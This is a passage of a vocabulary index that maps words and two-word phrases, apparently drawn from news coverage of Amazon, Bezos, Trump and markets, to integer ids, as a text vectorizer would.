70597, "misconduct allegations": 70598, "impugn": 70599, "tom hardy": 70600, "hold emergency": 70601, "davis matt": 70602, "rean contract": 70603, "small american": 70604, "amazon competitors": 70605, "economic consultant": 70606, "7ctwgr": 70607, "bezos tweets": 70608, "homosexuals": 70609, "ibrahim walks": 70610, "actual": 70611, "signed contract": 70612, "complex issue": 70613, "pam secretly": 70614, "1m75ubx": 70615, "underserved": 70616, "323": 70617, "criminal understand": 70618, "funding fever": 70619, "net edvard": 70620, "brrrrr": 70621, "ty7ecxvokl": 70622, "innovation economy": 70623, "frazier alerts": 70624, "nycedc report": 70625, "saying good": 70626, "mass illegal": 70627, "service wrote": 70628, "tabloid revealed": 70629, "cond\u00e9 nast": 70630, "moscow visit": 70631, "misleading adding": 70632, "workers benefits": 70633, "broadside": 70634, "looks lot": 70635, "benefits medicaid": 70636, "technology president": 70637, "analyst suggested": 70638, "dozen members": 70639, "emotional rollercoaster": 70640, "legal jousting": 70641, "vets unique": 70642, "sheryl ziegler": 70643, "quest diagnostics": 70644, "fueling intelligent": 70645, "dod details": 70646, "management": 70647, "prosecutor used": 70648, "brasil": 70649, "manson amazon": 70650, "journal employees": 70651, "capital plan": 70652, "sanders hit": 70653, "given metapack": 70654, "partners lobbying": 70655, "ftc commissioners": 70656, "positive working": 70657, "4th session": 70658, "completely wrong": 70659, "reuters president": 70660, "offering wage": 70661, "adamis pharmaceuticals": 70662, "bushwick houses": 70663, "attract premiere": 70664, "police following": 70665, "pike yadkinville": 70666, "data scandals": 70667, "somebody needs": 70668, "null inc_custom_javascript": 70669, "1047et": 70670, "j0 r4ee": 70671, "brennan": 70672, "program includes": 70673, "hindrance": 70674, "costly saga": 70675, "exaggeration infiltrated": 70676, "amazon hanes": 70677, "sanders skewered": 70678, "lead shadow": 70679, "excess tissue": 70680, "seung min": 70681, "pecker scandal": 70682, "house battlegrounds": 70683, "amazon couple": 70684, "chicagoland chamber": 70685, "impacting": 70686, "based journalist": 70687, "overrun": 70688, "business writer": 70689, "media articles": 70690, "plan praises": 70691, "particular mood": 70692, "prc": 70693, "books hanson": 70694, "dylan farrow": 70695, "exposes": 70696, "digital marketplaces": 70697, "banning suspended": 70698, "association dima": 70699, "china commerce": 70700, "disdainfully dismissed": 70701, "impacts": 70702, "investigation john": 70703, "picking online": 70704, "reassure markets": 70705, "black voters": 70706, "gmt california": 70707, "credit amazon": 70708, "bezos enquirer": 70709, "makes cleaning": 70710, "target data": 70711, "marc morial": 70712, "pagey clientx": 70713, "tidbits alongside": 70714, "amazon path": 70715, "usually visit": 70716, "kol ami": 70717, "bankruptcy law": 70718, "bribe amazon": 70719, "andy ferguson": 70720, "lowe low": 70721, "avandermey bloomberg": 70722, "trust barometer": 70723, "shaping policy": 70724, "amazon sites": 70725, "cascade": 70726, "economic pressures": 70727, "supported obama": 70728, "help reduce": 70729, "citywide official": 70730, "alphabet currently": 70731, "month investigation": 70732, "kansas": 70733, "nyt james": 70734, "lacking regulations": 70735, "g0 u0": 70736, "local talent": 70737, "commerce merchants": 70738, "played inside": 70739, "episodes live": 70740, "canada agreement": 70741, "domestic priority": 70742, "information request": 70743, "probably finding": 70744, "article frames": 70745, "trump ami": 70746, "554": 70747, "america indicating": 70748, "iran foreign": 70749, "questionnaires": 70750, "lovey": 70751, "punish specific": 70752, "addabbo member": 70753, "key campaign": 70754, "historic tenure": 70755, "largest pot": 70756, "tacitly": 70757, "analysts paul": 70758, "minister narendra": 70759, "buying target": 70760, "gold chain": 70761, "rented": 70762, "role effective": 70763, "tweeted google": 70764, "airpower": 70765, "release includes": 70766, "transgender community": 70767, "theborder": 70768, "complacency": 70769, "volume ratio": 70770, "scalia": 70771, "public security": 70772, "possible transportation": 70773, "avoiding sales": 70774, "total usps": 70775, "schapperts": 70776, "term catalyst": 70777, "personnel read": 70778, "group operation": 70779, "stock splits": 70780, "blustery": 70781, "bezos closed": 70782, "government computing": 70783, "example trump": 70784, "wrong guy": 70785, "decorated journalists": 70786, "kaplan": 70787, "war veteran": 70788, "washington insiders": 70789, "insurer": 70790, "model allows": 70791, "include human": 70792, "ridgewood older": 70793, "state charges": 70794, "media warren": 70795, "stencils": 70796, "operating profits": 70797, "west exasperatedly": 70798, "favorite mystery": 70799, "destroyed brick": 70800, "curation": 70801, "dozen warehouse": 70802, "watt": 70803, "sprawling 850": 70804, "democratic challengers": 70805, "treaty amazon": 70806, "combat homelessness": 70807, "relabeling": 70808, "bolton deputy": 70809, "zeid raad": 70810, "presale best": 70811, "business instincts": 70812, "wants enchancment": 70813, "pontificating": 70814, "greater confidence": 70815, "homeowners valari": 70816, "references": 70817, "coming nomination": 70818, "sneeze": 70819, "assess taxes": 70820, "reporter multiple": 70821, "toilet tissue": 70822, "president narrative": 70823, "fordham": 70824, "weapon works": 70825, "isn pie": 70826, "campaign chair": 70827, "infuriated": 70828, "enquirer calls": 70829, "state hands": 70830, "allocate billions": 70831, "tom budescu": 70832, "cortana": 70833, "border deal": 70834, "straight quarter": 70835, "democrats subpoenas": 70836, "men jimmy": 70837, "unfamiliarity": 70838, "tax according": 70839, "words thank": 70840, "gross state": 70841, "courthouse": 70842, "reddick jr": 70843, "tells savannah": 70844, "company european": 70845, "specialty software": 70846, "denouncing president": 70847, "brazil ricardo": 70848, "leading": 70849, "corp nvda": 70850, "results little": 70851, "making business": 70852, "directive": 70853, "pole": 70854, "aobiome": 70855, "fated russian": 70856, "marriage equality": 70857, "birtherism": 70858, "company raised": 70859, "industry lobbyist": 70860, "sale including": 70861, "grand alliance": 70862, "royalty mnuchin": 70863, "rewriting cra": 70864, "released number": 70865, "minerd": 70866, "harness": 70867, "youtube automated": 70868, "meadows": 70869, "regulation gdpr": 70870, "hq2 locations": 70871, "railroad giant": 70872, "office limited": 70873, "homes planning": 70874, "2019 vertical": 70875, "television studio": 70876, "bezos think": 70877, "best judgment": 70878, "order catalog": 70879, "zuckerberg": 70880, "john woman": 70881, "refocus": 70882, "patting": 70883, "nasdaq cmcsa": 70884, "counterprotesters": 70885, "downgrading": 70886, "minors": 70887, "antibiotic policies": 70888, "elections job": 70889, "jedi weapon": 70890, "listthe": 70891, "long night": 70892, "transmitted displayed": 70893, "candour isn": 70894, "troubled actor": 70895, "cult scandal": 70896, "democracy maria": 70897, "gumball": 70898, "policy requiring": 70899, "hardware appears": 70900, "available office": 70901, "single mom": 70902, "matured": 70903, "raise healthier": 70904, "media accounts": 70905, "divorce clouds": 70906, "workers voice": 70907, "state spends": 70908, "farts": 70909, "abramson did": 70910, "pre publication": 70911, "intriguing premise": 70912, "receive future": 70913, "administration today": 70914, "congresswoman": 70915, "makes public": 70916, "steal photos": 70917, "man magical": 70918, "memo navarro": 70919, "immigrant justice": 70920, "hybrid airship": 70921, "accumulated 000": 70922, "pharmaceuticals tse": 70923, "willy nilly": 70924, "boulder colorado": 70925, "commissioner vestager": 70926, "offers wide": 70927, "transportation study": 70928, "aws lambda": 70929, "democrats confident": 70930, "onesie swastika": 70931, "wrote story": 70932, "mijente representatives": 70933, "chose really": 70934, "enter campaign": 70935, "companies forte": 70936, "create separate": 70937, "102m": 70938, "classical stage": 70939, "daedalus": 70940, "publication 23m": 70941, "debunk false": 70942, "bkconnection": 70943, "taxpayers having": 70944, "illegally omar": 70945, "alternative trade": 70946, "leading role": 70947, "america awesome": 70948, "caller saul": 70949, "ultimately ended": 70950, "shoot gun": 70951, "nail polish": 70952, "lists number": 70953, "amazon upgrade": 70954, "year cnbcaround": 70955, "world changes": 70956, "656 million": 70957, "great retirement": 70958, "land deal": 70959, "grates": 70960, "7521": 70961, "yankees pitcher": 70962, "warehous": 70963, "vast network": 70964, "proposed steel": 70965, "xom reported": 70966, "store forcing": 70967, "bork interpretation": 70968, "championed": 70969, "ye hear": 70970, "typically protect": 70971, "democratic politics": 70972, "court associate": 70973, "amazonphone": 70974, "1tn": 70975, "app guides": 70976, "pessimism amazon": 70977, "obviously giant": 70978, "population people": 70979, "just scared": 70980, "investments blossom": 70981, "620": 70982, "proof resolution": 70983, "wait wait": 70984, "post continues": 70985, "2017 inclusive": 70986, "carousel carousel": 70987, "new owner": 70988, "links vulture": 70989, "year privacy": 70990, "counties states": 70991, "campaign urging": 70992, "marks llc": 70993, "trying jeff": 70994, "free hand": 70995, "history tag": 70996, "jamal": 70997, "2014elections causing": 70998, "taxes yes": 70999, "snowden documents": 71000, "dow poised": 71001, "regulators decide": 71002, "wage regardless": 71003, "account defends": 71004, "surprising things": 71005, "shoulder princess": 71006, "aerial shots": 71007, "unsparing": 71008, "photographer sofia": 71009, "jester cap": 71010, "members looking": 71011, "series starring": 71012, "bear grylls": 71013, "raakhee mirchandani": 71014, "officials bezos": 71015, "diluted share": 71016, "seriously amazon": 71017, "rife": 71018, "sheep": 71019, "global coffee": 71020, "popular chef": 71021, "includes hundreds": 71022, "local investments": 71023, "leaked excerpt": 71024, "false state": 71025, "disastrous decisions": 71026, "travel work": 71027, "given preferential": 71028, "factor china": 71029, "babies separated": 71030, "blast features": 71031, "predicament saying": 71032, "joe nocera": 71033, "adult title": 71034, "helped amplify": 71035, "boyce": 71036, "enemies pic": 71037, "slowing iphone": 71038, "driehaus capital": 71039, "called united": 71040, "exacts": 71041, "amzn nearly": 71042, "distort": 71043, "revenue impacting": 71044, "cuomo blaming": 71045, "spyware": 71046, "jessie": 71047, "dictators sen": 71048, "subsequent election": 71049, "data trump": 71050, "company prepares": 71051, "deal follow": 71052, "government gridlock": 71053, "reporting project": 71054, "online marketplaces": 71055, "competitors taking": 71056, "does weigh": 71057, "popular reading": 71058, "ifixit": 71059, "amazon involvement": 71060, "hate amazon": 71061, "public events": 71062, "china joel": 71063, "blanket": 71064, "image 0x734": 71065, "veering": 71066, "commercialization efforts": 71067, "outside brazil": 71068, "accentuated": 71069, "city transit": 71070, "news manipulates": 71071, "competitive effects": 71072, "drop tv": 71073, "copyright restrictions": 71074, "friendly government": 71075, "pounds build": 71076, "investors 98point6": 71077, "sellers los": 71078, "underlying ip": 71079, "mobile ala": 71080, "decker paul": 71081, "thucydides": 71082, "weise goodman": 71083, "starter kit": 71084, "connect women": 71085, "report entitled": 71086, "2018 factoring": 71087, "approximately 386": 71088, "tara prakriya": 71089, "employer katherine": 71090, "cellular phones": 71091, "growers": 71092, "scott pelley": 71093, "diet soda": 71094, "news broadcasts": 71095, "involving wrongful": 71096, "backlash amazon": 71097, "volcano": 71098, "news feb": 71099, "democracy needs": 71100, "killam snl": 71101, "cronyism corruption": 71102, "city astoria": 71103, "supported president": 71104, "pushing daisies": 71105, "old widow": 71106, "important sources": 71107, "obama 2018": 71108, "finn check": 71109, "observe international": 71110, "kerry dolan": 71111, "automaker gm": 71112, "terrifying flying": 71113, "eu subsidies": 71114, "new levels": 71115, "planned offices": 71116, "amazon position": 71117, "companies terribly": 71118, "people utterly": 71119, "comas": 71120, "whitesell executive": 71121, "numbers don": 71122, "anti amazon": 71123, "preview seeking": 71124, "preemptive killing": 71125, "offered new": 71126, "stopped prosecuting": 71127, "kicker ideas": 71128, "cranston": 71129, "kentucky republican": 71130, "advocate": 71131, "federal foreign": 71132, "chief market": 71133, "trump wishes": 71134, "fato did": 71135, "companies shift": 71136, "counsel report": 71137, "carousels including": 71138, "nixon look": 71139, "carlton reed": 71140, "trust subscribe": 71141, "congressman thomas": 71142, "short sellers": 71143, "consistently rails": 71144, "tour bus": 71145, "accidental death": 71146, "meghan sulllivan": 71147, "ami chief": 71148, "acn shares": 71149, "did appear": 71150, "counteract": 71151, "changes happen": 71152, "healthy dose": 71153, "dangers lurking": 71154, "probe launched": 71155, "kiely eugene": 71156, "news ny1": 71157, "far outstripped": 71158, "expectations associated": 71159, "deliver revenue": 71160, "spreading misleading": 71161, "humanity": 71162, "overtime ahead": 71163, "talk trump": 71164, "abbe lowell": 71165, "police rapid": 71166, "month ended": 71167, "family aaron": 71168, "nvda": 71169, "significant lobbying": 71170, "ubhi involvement": 71171, "homeowners affected": 71172, "erictrump": 71173, "picture highlights": 71174, "says merrill": 71175, "boys condemned": 71176, "current job": 71177, "related jobs": 71178, "shoulders wapo": 71179, "ge new": 71180, "including beef": 71181, "significance icann": 71182, "define gender": 71183, "10bil": 71184, "patient pain": 71185, "documents released": 71186, "moral duty": 71187, "northern irishman": 71188, "unfair evaluations": 71189, "trajectory common": 71190, "mall": 71191, "accommodate governmental": 71192, "kavanaugh rosenstein": 71193, "quicken loans": 71194, "fox think": 71195, "factors barclays": 71196, "helped lift": 71197, "ops leadership": 71198, "court ideological": 71199, "uprooted": 71200, "cruising america": 71201, "annual costs": 71202, "coo days": 71203, "german men": 71204, "sell homes": 71205, "anthony carrino": 71206, "enormous profit": 71207, "aviation analyst": 71208, "pays state": 71209, "storage external": 71210, "old aborted": 71211, "rhetoric threat": 71212, "tipping": 71213, "runner": 71214, "future conversations": 71215, "stephenson campaign": 71216, "coincides": 71217, "inadequate public": 71218, "nick jonas": 71219, "nationwide": 71220, "595": 71221, "smeared": 71222, "york dow": 71223, "fatally shot": 71224, "people spend": 71225, "certainly hand": 71226, "operations trump": 71227, "race related": 71228, "spur successful": 71229, "recommends changes": 71230, "impatience": 71231, "unknown read": 71232, "work proclaimed": 71233, "deliver brand": 71234, "productive trade": 71235, "amazon pretty": 71236, "chlo\u00eb grace": 71237, "world google": 71238, "therapies training": 71239, "repaid": 71240, "chester talked": 71241, "solalinde center": 71242, "study defines": 71243, "university tuition": 71244, "land invasions": 71245, "arizona hauled": 71246, "tillman": 71247, "leading indicator": 71248, "stars mitch": 71249, "inspiring": 71250, "sole voting": 71251, "robert bradshaw": 71252, "trump jamal": 71253, "landmark 1tn": 71254, "retina font": 71255, "cadillac according": 71256, "corporations dutifully": 71257, "pot republicans": 71258, "bi worked": 71259, "kollmeyer": 71260, "fox michael": 71261, "men parents": 71262, "somewhat softer": 71263, "museum labs": 71264, "leadership asking": 71265, "merely convey": 71266, "income rose": 71267, "gandel turkey": 71268, "enquirer pushed": 71269, "great affiliate": 71270, "microsoft won": 71271, "backdrop press": 71272, "mortar presence": 71273, "provide impetus": 71274, "robert franek": 71275, "aim": 71276, "received reassurance": 71277, "utah muse": 71278, "day layfield": 71279, "instagram skews": 71280, "summit india": 71281, "alliances": 71282, "president behavior": 71283, "history cigna": 71284, "vertigo comic": 71285, "president wasobstructing": 71286, "deputies": 71287, "people dead": 71288, "engineers": 71289, "separation read": 71290, "suggest altering": 71291, "story arkansas": 71292, "bank meets": 71293, "slammed reporter": 71294, "vanguard communication": 71295, "mind wouldn": 71296, "prosecutor ken": 71297, "hardware hacks": 71298, "spend hundreds": 71299, "took aim": 71300, "seizure": 71301, "democrats stephen": 71302, "electronics brand": 71303, "journalists justice": 71304, "howard people": 71305, "firebrand style": 71306, "innocent person": 71307, "america accused": 71308, "yearns": 71309, "big successes": 71310, "standard deduction": 71311, "elderly singaporean": 71312, "campaign law": 71313, "rawal": 71314, "lendio reports": 71315, "release": 71316, "doubleday soothing": 71317, "smarter living": 71318, "verdad": 71319, "notoriously hard": 71320, "shipping programs": 71321, "newsom claim": 71322, "sanders ranged": 71323, "associated": 71324, "election campaign": 71325, "iphone revenue": 71326, "target communities": 71327, "just wrong": 71328, "mariner": 71329, "appeal board": 71330, "steadfastly anti": 71331, "faced increasing": 71332, "51554473329": 71333, "software okta": 71334, "clamp": 71335, "tropicana": 71336, "brian thank": 71337, "shelves block": 71338, "amazon face": 71339, "emergency 2019": 71340, "commission operate": 71341, "increased 300": 71342, "started asking": 71343, "profits politically": 71344, "costs featured": 71345, "mansion selfie": 71346, "day guide": 71347, "gundlach": 71348, "enquire": 71349, "suisse proves": 71350, "getting millions": 71351, "beat earnings": 71352, "elections consumers": 71353, "equivalents wireless": 71354, "reward": 71355, "withdrew plans": 71356, "amazon divorce": 71357, "onborder": 71358, "remote led": 71359, "paying far": 71360, "amazon dealings": 71361, "takes issue": 71362, "benchmarks performing": 71363, "release compromising": 71364, "servicing": 71365, "940": 71366, "counsel website": 71367, "amazon value": 71368, "deprive rick": 71369, "spinoff": 71370, "computer keyboards": 71371, "europe president": 71372, "loser today": 71373, "loses bid": 71374, "donnelly benefited": 71375, "shown decline": 71376, "bloomberg virtually": 71377, "exacerbates": 71378, "eltahir": 71379, "selected nashville": 71380, "feet washington": 71381, "comments contradict": 71382, "supply": 71383, "moonshot answers": 71384, "cuseum software": 71385, "grocery stores": 71386, "sought trump": 71387, "llazar semini": 71388, "cia 2017": 71389, "increase access": 71390, "foodways": 71391, "13th science": 71392, "latam": 71393, "sorting sales": 71394, "boosts belief": 71395, "sends message": 71396, "major competitive": 71397, "unacceptable security": 71398, "demonstrate": 71399, "audiobook": 71400, "protecting taxpayers": 71401, "crazy screen": 71402, "garland": 71403, "year announced": 71404, "incredibly large": 71405, "speaker maker": 71406, "judging": 71407, "mining including": 71408, "public conversation": 71409, "association preferred": 71410, "andrew duffell": 71411, "government centralization": 71412, "sheryl crow": 71413, "soldier spent": 71414, "law using": 71415, "site security": 71416, "women operated": 71417, "silenced stopthebias": 71418, "appeal wapo": 71419, "grapes brighter": 71420, "theborder wall": 71421, "ms smith": 71422, "mcdowell fox": 71423, "prestel": 71424, "trump screen": 71425, "000 cashier": 71426, "alum kristen": 71427, "durant late": 71428, "800 seat": 71429, "changes italy": 71430, "party john": 71431, "fresh demonstration": 71432, "lincoln memorial": 71433, "collapsing": 71434, "goodlatte": 71435, "goose": 71436, "specifcally": 71437, "employs workers": 71438, "win win": 71439, "seidel": 71440, "working capital": 71441, "psychiatrist": 71442, "deuce takes": 71443, "inventor jeff": 71444, "house statement": 71445, "monopolies": 71446, "seasonal jobs": 71447, "followed criticism": 71448, "quote foreign": 71449, "win given": 71450, "saudi leadership": 71451, "future hq": 71452, "pro trumpist": 71453, "borges": 71454, "labor conditions": 71455, "vatican official": 71456, "involving bezos": 71457, "website states": 71458, "anonymous newspaper": 71459, "arkansas viral": 71460, "lobbying capitol": 71461, "including hospitals": 71462, "pass throughs": 71463, "amazon social": 71464, "oeit": 71465, "company tweeted": 71466, "james woods": 71467, "generated clip": 71468, "t000040342 t000002953": 71469, "headlined": 71470, "actually countering": 71471, "education program": 71472, "include manchester": 71473, "sergey brin": 71474, "realign": 71475, "economic populism": 71476, "data vladimir": 71477, "ghana": 71478, "jshortly": 71479, "meadows auburndale": 71480, "says maxsa": 71481, "cofounder": 71482, "mick mulvaney": 71483, "khashoggi reportedly": 71484, "exception amazon": 71485, "animate": 71486, "speaking isn": 71487, "herdener": 71488, "spend nearly": 71489, "org notadime": 71490, "far quieter": 71491, "pasture": 71492, "democratic companies": 71493, "greatly benefitted": 71494, "confrontational approach": 71495, "gregg jarrett": 71496, "filed alleges": 71497, "bergen reprises": 71498, "company abruptly": 71499, "epistolary": 71500, "namath enters": 71501, "becker according": 71502, "williams malcolm": 71503, "public narrative": 71504, "journal huffpost": 71505, "whisking": 71506, "commerce argue": 71507, "voting nyc": 71508, "2017 cbs": 71509, "rfk": 71510, "mccormack talks": 71511, "ghosn bb": 71512, "caravan": 71513, "anna quinn": 71514, "apprentice": 71515, "trusting classmates": 71516, "meaningful evidence": 71517, "messages ended": 71518, "comprehensive database": 71519, "amzn chief": 71520, "harassment data": 71521, "ceo james": 71522, "led standing": 71523, "lithgow": 71524, "new paper": 71525, "departs white": 71526, "states sue": 71527, "encourage people": 71528, "chippiest": 71529, "accruals": 71530, "blue lives": 71531, "laws donald": 71532, "losing stock": 71533, "wikimedia commons": 71534, "bald carell": 71535, "hudson": 71536, "counted kyrsten": 71537, "lists": 71538, "border measure": 71539, "night senator": 71540, "plans": 71541, "185 tells": 71542, "socialist ilk": 71543, "marketing research": 71544, "delivered straight": 71545, "facebook recall": 71546, "selling books": 71547, "new development": 71548, "leader amid": 71549, "helio p60": 71550, "constitution": 71551, "acquisition 2018": 71552, "bedminster": 71553, "ronaldhart": 71554, "physiological thriller": 71555, "face revenue": 71556, "fires sacramento": 71557, "democrat led": 71558, "directs": 71559, "challengers": 71560, "nullifies apga": 71561, "military conflict": 71562, "popular players": 71563, "outburst renewed": 71564, "digital platform": 71565, "reuters advocacy": 71566, "ferry landing": 71567, "cargo sector": 71568, "acquisition valued": 71569, "westerner": 71570, "kyle_maclachlan": 71571, "defendants politico": 71572, "canada day": 71573, "rosenstein staying": 71574, "guys operator": 71575, "tim kla": 71576, "goal advertisement": 71577, "hike impact": 71578, "fresh outlooks": 71579, "shine spouse": 71580, "targets people": 71581, "shovel": 71582, "david miliband": 71583, "beginner guide": 71584, "thenew york": 71585, "life issues": 71586, "sophisticated hacking": 71587, "ceo larry": 71588, "various warehouses": 71589, "junta dictator": 71590, "tapaj\u00f3s basin": 71591, "single source": 71592, "geopolitical conflict": 71593, "government buys": 71594, "census results": 71595, "teen asking": 71596, "tiny sample": 71597, "ro": 71598, "x2x a8": 71599, "micronutrient": 71600, "signature initiative": 71601, "model workforce": 71602, "bure": 71603, "eps": 71604, "walmart legacy": 71605, "wasn discussed": 71606, "security pledge": 71607, "cuomo held": 71608, "media conversation": 71609, "commissioner mike": 71610, "washington drama": 71611, "javier": 71612, "navarro directs": 71613, "dailyquote": 71614, "protect amazon": 71615, "actively erupting": 71616, "married join": 71617, "fervent defenders": 71618, "incentives programs": 71619, "namesake george": 71620, "amazon invested": 71621, "conservative republican": 71622, "oil giants": 71623, "picnic": 71624, "hasn shared": 71625, "greeting card": 71626, "break case": 71627, "expanded child": 71628, "blind fear": 71629, "kenton": 71630, "shale fields": 71631, "negotiation abramowitz": 71632, "suicide blast": 71633, "tv channel": 71634, "labor dol": 71635, "connecticut recently": 71636, "television crew": 71637, "erasing premarket": 71638, "2017 flake": 71639, "selden": 71640, "huge sex": 71641, "survivor cbs": 71642, "bezos masks": 71643, "mexico new": 71644, "levy adrienne": 71645, "152 million": 71646, "energetic info": 71647, "fb facebook": 71648, "currently subscribe": 71649, "users ahead": 71650, "differing takes": 71651, "return business": 71652, "later announced": 71653, "capturing just": 71654, "nefarious connotation": 71655, "publishers retain": 71656, "new jeff": 71657, "general hospital": 71658, "bf": 71659, "falsifying": 71660, "read kya": 71661, "spy case": 71662, "newest concern": 71663, "boredom": 71664, "interrupting john": 71665, "demanding culinary": 71666, "reportedly estranged": 71667, "stenberg best": 71668, "score deckers": 71669, "postponing landmark": 71670, "shit amazon": 71671, "andrews ap": 71672, "administration inner": 71673, "creator matthew": 71674, "chords": 71675, "watoday normal": 71676, "story review": 71677, "singapore stocks": 71678, "massacre amazon": 71679, "entry tracing": 71680, "idiq": 71681, "axios reported": 71682, "mined": 71683, "handmaiden": 71684, "nice jimmy": 71685, "stalinist distortions": 71686, "investor dream": 71687, "avoid fees": 71688, "new entrepreneurs": 71689, "park mayor": 71690, "including good": 71691, "ofthat offers": 71692, "comprises": 71693, "tight relationship": 71694, "store formats": 71695, "sudan syria": 71696, "hot amazon": 71697, "knife revealing": 71698, "longer promise": 71699, "missoula crowd": 71700, "aughts": 71701, "managed blockchain": 71702, "929 shares": 71703, "damaging washington": 71704, "optimisation": 71705, "assange arrested": 71706, "surveys blocking": 71707, "eddie ghabour": 71708, "follows trump": 71709, "age customer": 71710, "political nonsense": 71711, "leaders formulate": 71712, "watching newborn": 71713, "day herera": 71714, "company plan": 71715, "law request": 71716, "patient population": 71717, "edwards having": 71718, "enquirer donald": 71719, "responded favourably": 71720, "dark hair": 71721, "disclosure insignia": 71722, "sugar": 71723, "laura da": 71724, "global sources": 71725, "strategy game": 71726, "facto": 71727, "latency sensitive": 71728, "famous law": 71729, "bloomberg television": 71730, "red maga": 71731, "criticisms reporting": 71732, "secret informant": 71733, "closed just": 71734, "correspondents dinner": 71735, "looks fairly": 71736, "insider unhinged": 71737, "users google": 71738, "hopeful democratic": 71739, "different feelings": 71740, "expected growth": 71741, "biggest protest": 71742, "518": 71743, "interestingly sears": 71744, "tsa firearms": 71745, "vessel threatened": 71746, "funds manager": 71747, "open officially": 71748, "spammers": 71749, "entire city": 71750, "correctly": 71751, "jason mohammed": 71752, "sydney according": 71753, "media areas": 71754, "slowly degraded": 71755, "latest forecast": 71756, "murdered american": 71757, "centre": 71758, "nations instead": 71759, "algos right": 71760, "rival kimberly": 71761, "trademark dilution": 71762, "focused areas": 71763, "information medical": 71764, "posts job": 71765, "md company": 71766, "company talked": 71767, "commerce fulfillment": 71768, "titled love": 71769, "censor conservative": 71770, "medium wp": 71771, "nhis": 71772, "353": 71773, "a4ee y8": 71774, "whispered": 71775, "conference scheduled": 71776, "gain trump": 71777, "carry unintended": 71778, "trade imbalance": 71779, "kirk": 71780, "liking today": 71781, "hidden gem": 71782, "molesting": 71783, "online accounts": 71784, "taxes year": 71785, "bezos snl": 71786, "measuring": 71787, "intertwining narratives": 71788, "old granddaughter": 71789, "kicks": 71790, "palin": 71791, "recommends restructuring": 71792, "valuable pr": 71793, "pulloutdecision amazon": 71794, "bezos especially": 71795, "yacht chef": 71796, "aforementioned defense": 71797, "amid slowdown": 71798, "senate nominees": 71799, "president today": 71800, "isolated mountain": 71801, "visit chicago": 71802, "finally beginning": 71803, "kristen kish": 71804, "washington trade": 71805, "wendell holland": 71806, "throwaway": 71807, "insights haverty": 71808, "schwietzer admits": 71809, "great respect": 71810, "russia includinghis": 71811, "post knew": 71812, "away market": 71813, "mexican man": 71814, "watch bezos": 71815, "amzn choate": 71816, "deal developer": 71817, "tires": 71818, "technology owned": 71819, "unearthed details": 71820, "cap trillion": 71821, "employees calling": 71822, "money pay": 71823, "dissent amazon": 71824, "review business": 71825, "mini1x1 width": 71826, "relationshipbetween": 71827, "cunningham": 71828, "rollercoaster": 71829, "purple hooded": 71830, "cover image": 71831, "aspiring actresses": 71832, "catalyze": 71833, "2017 negative": 71834, "growing marketplace": 71835, "fighting cancer": 71836, "twitter account": 71837, "modern celebrity": 71838, "brother manager": 71839, "chief roman": 71840, "publication function": 71841, "jonas celebrate": 71842, "currently investigating": 71843, "google billions": 71844, "articles house": 71845, "cynthianixon": 71846, "ran negative": 71847, "obstacle": 71848, "380s airlines": 71849, "items saunders": 71850, "expansion opportunities": 71851, "despite global": 71852, "secretive program": 71853, "finished hiring": 71854, "enterprises decisions": 71855, "virtually tour": 71856, "tweets including": 71857, "1990s fortune": 71858, "amzn making": 71859, "reuters messi": 71860, "aegis": 71861, "officials estimate": 71862, "docket ahead": 71863, "surpasses": 71864, "just launched": 71865, "calls alibaba": 71866, "rexnord merck": 71867, "showdown eagerly": 71868, "agencies newfound": 71869, "political clearance": 71870, "simons": 71871, "customers abandon": 71872, "reaching deregulatory": 71873, "build database": 71874, "perpetually": 71875, "mika shuts": 71876, "iridescent": 71877, "urge tory": 71878, "based economy": 71879, "online reference": 71880, "crash trump": 71881, "michael moore": 71882, "hanson": 71883, "35m": 71884, "prompted economists": 71885, "kospi index": 71886, "sleuthing insists": 71887, "headphones feature": 71888, "head paulson": 71889, "story elizabeth": 71890, "aladdin timothy": 71891, "global player": 71892, "pilot proceeds": 71893, "6gb 128gb": 71894, "troubled postal": 71895, "treasury gained": 71896, "icymi sinclair": 71897, "rhoten wyoming": 71898, "larger precedent": 71899, "handles": 71900, "repurchase program": 71901, "neighborhood post": 71902, "women anger": 71903, "sen kamala": 71904, "lot ofincoming": 71905, "official action": 71906, "latest week": 71907, "say turkey": 71908, "changing city": 71909, "50m shares": 71910, "advertising market": 71911, "cutting tools": 71912, "ritzy": 71913, "marketwatch breaks": 71914, "steve liesman": 71915, "netflix winner": 71916, "baby products": 71917, "make prediction": 71918, "amzn adbe": 71919, "headed": 71920, "publications including": 71921, "educators pointing": 71922, "damaging regulation": 71923, "reported asking": 71924, "montgomery ward": 71925, "instead don": 71926, "depression": 71927, "shooters": 71928, "cookies terms": 71929, "saying nice": 71930, "crush competition": 71931, "mentioned future": 71932, "elaine": 71933, "week cited": 71934, "opportunities forte": 71935, "meet google": 71936, "spectacular golder": 71937, "virgin idea": 71938, "products jumpedby": 71939, "potential replacement": 71940, "pogo": 71941, "kohnstamm seattle": 71942, "possible campaign": 71943, "company contracts": 71944, "affected industries": 71945, "small package": 71946, "warbucks": 71947, "wasteful payments": 71948, "baron cohen": 71949, "state park": 71950, "repeal taxes": 71951, "matthews": 71952, "emmet": 71953, "entities including": 71954, "makes statement": 71955, "secretary contains": 71956, "cluttered": 71957, "rubinstein chairs": 71958, "store holding": 71959, "pry box": 71960, "founded year": 71961, "statement nonetheless": 71962, "filmmaker yorgos": 71963, "retailers nonprofits": 71964, "today session": 71965, "open inadvertently": 71966, "collusion gold": 71967, "bezos walking": 71968, "protection entrepreneurs": 71969, "stella": 71970, "faceoff": 71971, "regnery publishing": 71972, "adams senior": 71973, "row amazon": 71974, "called deep": 71975, "unconstitutionally": 71976, "push midterms": 71977, "deep knowledge": 71978, "viewing screens": 71979, "day sale": 71980, "aside": 71981, "involve roger": 71982, "impinj": 71983, "book central": 71984, "firstborn": 71985, "headstart compounds": 71986, "microsoft plus": 71987, "edison racist": 71988, "banking oversight": 71989, "state pays": 71990, "rick aheadoftheherd": 71991, "equinox hotel": 71992, "amazon posts": 71993, "suppressed story": 71994, "teresa carlson": 71995, "retains": 71996, "weather conditions": 71997, "sz\u00f3ka": 71998, "sheppard": 71999, "antitrust paradox": 72000, "barge": 72001, "verbal": 72002, "states directly": 72003, "2678011": 72004, "sen": 72005, "annoyed": 72006, "energy board": 72007, "manchester city": 72008, "prioritized": 72009, "republicans question": 72010, "washington policy": 72011, "surprised location": 72012, "competition recommended": 72013, "billboard calling": 72014, "dudes": 72015, "single rich": 72016, "information painted": 72017, "antitrust standards": 72018, "free pass": 72019, "giving agencies": 72020, "advisor gary": 72021, "imperious": 72022, "screenphotos": 72023, "cnn reliable": 72024, "intelligence officers": 72025, "developing missile": 72026, "depicting": 72027, "thepresident people": 72028, 